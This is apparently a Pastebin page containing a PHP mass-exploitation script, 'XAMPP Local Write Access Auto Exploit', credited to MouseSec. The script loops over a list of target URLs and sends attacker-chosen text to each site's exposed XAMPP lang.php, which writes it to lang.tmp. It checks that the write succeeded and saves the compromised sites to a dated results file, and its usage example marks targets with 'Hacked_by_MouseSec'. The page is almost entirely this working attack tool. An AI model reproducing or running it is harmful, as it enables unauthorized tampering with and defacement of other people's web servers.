Advertisement
MouseSec

XAMPP Local Write Access Auto Exploit

May 2nd, 2019
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.63 KB | None | 0 0
  1. <?php
  2.  
  3. # Coded by MouseSec
  4. # twitter.com/mousesec_
  5. # http://site.com/[path]/ or http://site.com/xampp/
  6. # $ php file.php list.txt Hacked_by_MouseSec
  7.  
  8. error_reporting(0);
  9. function curl($url) {
  10.     $ch = curl_init($url);
  11.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  13.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
  14.     $exec = curl_exec($ch);
  15.     curl_close($ch);
  16.     return $exec;
  17. }
  18.  
  19. $os = strtolower(substr(PHP_OS,0, 5));
  20. if($os == "linux") {
  21.     $cl = "\e[0m";
  22.     $light_cyan = "\e[1;36m";
  23.     $light_green = "\e[1;32m";
  24.     $light_red = "\e[1;31m";
  25.     $light_purple = "\e[1;35m";
  26.     $yellow = "\e[1;33m";
  27.     $green = "\e[0;32m";
  28.     $red = "\e[0;31m";
  29.     $blue = "\e[0;34m";
  30. }
  31. echo "\n";
  32. if(is_file($argv[1])) {
  33.     $list = file($argv[1]);
  34.     if(!empty($argv[2])) {
  35.         $text = $argv[2];
  36.         foreach ($list as $target) {
  37.             $url = trim($target);
  38.             $exploit = $url."/lang.php?".$text;
  39.             $exec = curl($exploit);
  40.             if(!$exec) {
  41.                 //
  42.             } else {
  43.                 $check = curl($url."/lang.tmp");
  44.                 $pecah = explode("/", $url);
  45.                 $date = date("d-m-Y");
  46.                 if(preg_match("/".$text."/", $check)) {
  47.                     echo $red."[".$cl.$yellow."+".$cl.$red."]".$cl.$blue." ".$pecah[2]." ".$cl.$green."exploit success!".$cl."\n";
  48.                     @fwrite(fopen($date."-result.txt", "a"), $url."/lang.tmp\n");
  49.                 } else {
  50.                     echo $red."[".$cl.$yellow."+".$cl.$red."]".$cl.$blue." ".$pecah[2]." ".$cl.$red."exploit failed!".$cl."\n";
  51.                 }
  52.             }
  53.         }
  54.         echo $red."\n[".$cl.$yellow."+".$cl.$red."]".$cl.$green." Result saved on: ".$date."-result.txt!".$cl."\n\n";
  55.     } else {
  56.         echo "please input text!\n";
  57.     }
  58. } else {
  59.     echo "no list inputed!\n";
  60. }
  61. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement